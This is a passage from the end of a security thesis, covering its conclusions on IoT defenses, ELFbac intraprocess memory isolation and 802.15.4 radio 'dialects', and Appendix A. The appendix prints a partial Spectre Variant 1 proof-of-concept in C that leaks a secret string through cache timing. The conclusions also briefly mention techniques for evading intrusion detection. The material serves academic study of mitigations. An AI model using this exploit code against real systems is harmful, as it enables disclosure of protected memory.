to efficiently scale, with a more formal and technical evaluation needed. Checkpoint-
ing is a proposed solution, but further investigation would be required for specific
applications. Remote attestation is an active area of research for the IoT. Deciding
which devices should be attested and how often are open questions. In addition, net-
work behavioral analysis is also an active research area. New devices and use cases
will require novel models and methods for understanding the risk and mitigation
possibilities in a growing IoT.
The third layer of defense I have presented is intraprocess memory isolation. Using
ELFbac, I demonstrated two policy-based mitigations to real-world vulnerabilities:
the OpenSSH roaming bug and the first variant (V1) of the Spectre-class of microar-
chitectural vulnerabilities. For each case, I showcased the minimal changes required
to isolate security-critical data within an existing codebase. I also introduced the idea
of intent as a secure design primitive. That is, preserving a programmer’s mental un-
derstanding of a program’s threat model is necessary for writing secure applications.
ELFbac, as a tool, has significant performance drawbacks. In high-risk security sce-
narios, the penalty may be worth the cost. However, there may still be room to
optimize ELFbac’s performance. New technologies like Intel’s MPKs are able to af-
fect the same isolation without the need for page-table transitions through the kernel.
However, the use of policy-driven security cannot be discounted because the vehicle
(ELFbac) is not desirably performant.
Finally, at the top of the hardware–software stack, I investigated the IEEE 802.15.4
protocol standard for low-rate wireless personal area networks. These networks carry
the communications that drive the utility of the IoT for industrial, business, and
consumer applications. I discovered the existence of “dialects,” unique communication
traits, inherent in the combination of firmware and radio chipset hardware. I discussed
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the potential of shaped charges within device-to-device communications that result in
evasive techniques against intrusion detection and prevention systems (IDPS).
To-date our experiments hold as the state-of-the-art in evaluating wireless communi-
cations networks without SDNs for the IoT. However, newer protocols and technolo-
gies have evolved, such as IPv6 over Low-Power Wireless Personal Area Networks
(6LoWPAN) and Long-range, Low-power Wide-Area Networks (LoRaWAN). These
unique communication patterns and behaviors are likely to exist in newer devices as
well. Designers of IoT networks should consider the radio chipsets and firmware of
deployed devices as part of a complete threat model. Additionally, an IDPS must
address these realities in order to provide adequate assurance.
Future Work. Securing the IoT will require concerted efforts from manufacturers,
developers, end-users, and governments. While secure boot has become standard in
PC and server arenas, translating that success to the IoT is a current challenge.
Moving forward, I envision research efforts to continue with PKI at the IoT scale. The
generation, exchange, and revocation of key materials will continue to be the primary
obstacles to universal adoption. At the promised scale, new mechanisms will likely
be needed to identify and authenticate devices as well as to secure communications
between networks and nodes.
Trusted boot and remote attestation are hot topics right now. Managing the scale
and long-lived nature of these devices, and the impact on attestation protocols is
an area of much-needed research. Moving from a static measurement to dynamic,
runtime attestation must be considered. Integrating intraprocess memory isolation
techniques, like ELFbac, into dynamic attestation is a particularly exciting area.
Orchestration technologies, like that available with a DAN, may consume the world
with the promise of automation, consistency, and convenience.
Understanding application threat models, and preserving programmer intent will re-
main an essential avenue for research expansion. New languages and hardware archi-
tectures will be needed to address the evident gaps between programmer intent and
execution.
The lessons learned from the study of 802.15.4 suggest that the protocols, firmware,
and hardware that we rely on need to be carefully considered. Language-theoretic
security (LangSec) is a promising field of research that may deliver critical insights into
mitigating and out-right eliminating many common classes of vulnerabilities found at
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the software layer.
Lastly, an area of research avoided by the work presented in this thesis is privacy.
The expansion of data collection within our world is of great concern. Protecting
devices, networks, and the data they collect and manipulate will be paramount moving
forward.
Final Remarks. As I write these concluding thoughts during the Coronavirus
pandemic of 2020, it seems evident that the overwhelming desire for connectedness,
even—if not especially—during times of social distancing, will drive whatever tech-
nologies follow. Security must continue to evolve to face the ever-changing needs of
technology; however, it is crucial to recognize that many of the urgent, present-day
problems in security and privacy were fundamentally founded half a century ago.
Learning the lessons from prior iterations of technology, and shortening the time-
delay between the research and theory studied in academia and the practice of junior
security engineers in the field represents the only real prospect of progress. It is the
hope of this thesis that the work and contributions presented herein have, in some
small way, moved the needle forward.
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Appendix A
Spectre Variant 1 Proof of Concept






5 #include <intrin.h> /* for rdtscp and clflush */
6 #pragma optimize("gt", on)
7 #else






14 unsigned int array1_size = 16;
15 uint8_t unused1 [64];
16 uint8_t array1 [160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
17 uint8_t unused2 [64];
18 uint8_t array2 [256 * 512];
19
20 char *secret = "The Magic Words are Squemish Ossifrage.";
21
22 uint8_t temp = 0; /* To not optimize out victim_function () */
23
24 void victim_function(size_t x) {
25 if (x < array1_size) {







32 #define CACHE_HIT_THRESHOLD (80) /* cache hit if time <= threshold */
33
34 /* Report best guess in value [0] and runner -up in value [1] */
35 void readMemoryByte(size_t malicious_x , uint8_t value[2], int score [2]) {
36 static int results [256];
37 int tries , i, j, k, mix_i , junk = 0;
38 size_t training_x , x;
39 register uint64_t time1 , time2;
40 volatile uint8_t *addr;
41
42 for (i = 0; i < 256; i++)
43 results[i] = 0;
44 for (tries = 999; tries > 0; tries --) {
45 /* Flush array2 [256*(0..255)] from cache */
46 for (i = 0; i < 256; i++)
47 _mm_clflush (& array2[i * 512]); /* clflush */
48
49 /* 5 trainings (x=training_x) per attack run (x=malicious_x) */
50 training_x = tries % array1_size;
51 for (j = 29; j >= 0; j--) {
52 _mm_clflush (& array1_size);
53 for (volatile int z = 0; z < 100; z++) {
54 } /* Delay (can also mfence) */
55
56 /* Bit twiddling to set x=training_x if j % 6 != 0
57 * or malicious_x if j % 6 == 0 */
58 /* Avoid jumps in case those tip off the branch predictor */
59 /* Set x=FFF.FF0000 if j%6==0, else x=0 */
60 x = ((j % 6) - 1) & ~0 xFFFF;
61 /* Set x=-1 if j&6=0, else x=0 */
62 x = (x | (x >> 16));
63 x = training_x ^ (x & (malicious_x ^ training_x));
64




69 /* Time reads. Mixed -up order to prevent stride prediction */
70 for (i = 0; i < 256; i++) {
71 mix_i =((i*167) +13) & 255;
72 addr = &array2[mix_i * 512];
73 time1 = __rdtscp (&junk);
74 junk = *addr;
75 time2 = __rdtscp (&junk) - time1;
76 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size ])
77 results[mix_i ]++; /* cache hit -> score +1 for this value */
78 }
79 /* Locate highest & second -highest results */
80 j = k = -1;
81 for(i=0; i < 256; i++) {
82 if(j < 0|| results[i] >= results[j]) {
83 k = j;
84 j = i;
85 } else if (k < 0 || results[i] >= results[k]) {




89 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
90 break; /* Success if best is > 2*runner -up + 5 or 2/0) */
91 }
92 /* use junk to prevent code from being optimized out */
93 results [0] ^= junk;
94 value [0] = (uint8_t)j;
95 score [0] = results[j];
96 value [1] = (uint8_t)k;
97 score [1] = results[k];
98 }
99 int main(int argc , const char **argv) {
100 size_t malicious_x = (size_t)(secret - (char *) array1); /* default for malicious_x
*/
101 int i, score[2], len = 40;
102 uint8_t value [2];
103
104 for (i = 0; i < sizeof(array2); i++)
105 array2[i] = 1; /* write to array2 to ensure it is memory backed */
106 if(argc == 3) {
107 sscanf(argv[1], "%p", (void **)(& malicious_x));
108 malicious_x -= (size_t)array1; /* Input value to pointer */
109 sscanf(argv[2], "%d", &len);
110 }
111 printf("Reading %d bytes:\n", len);
112 while (--len >= 0) {
113 printf("Reading at malicious_x = %p... ", (void *) malicious_x); readMemoryByte(
malicious_x ++, value , score);
114 printf("%s: ", score [0] >= 2 * score [1] ? "Success" : "Unclear"); printf("0x%02X
=’%c’ score=%d ", value[0], (value [0] > 31 && value [0] < 127 ? value [0] : ’?’),
score [0]);
115 if (score [1] > 0)
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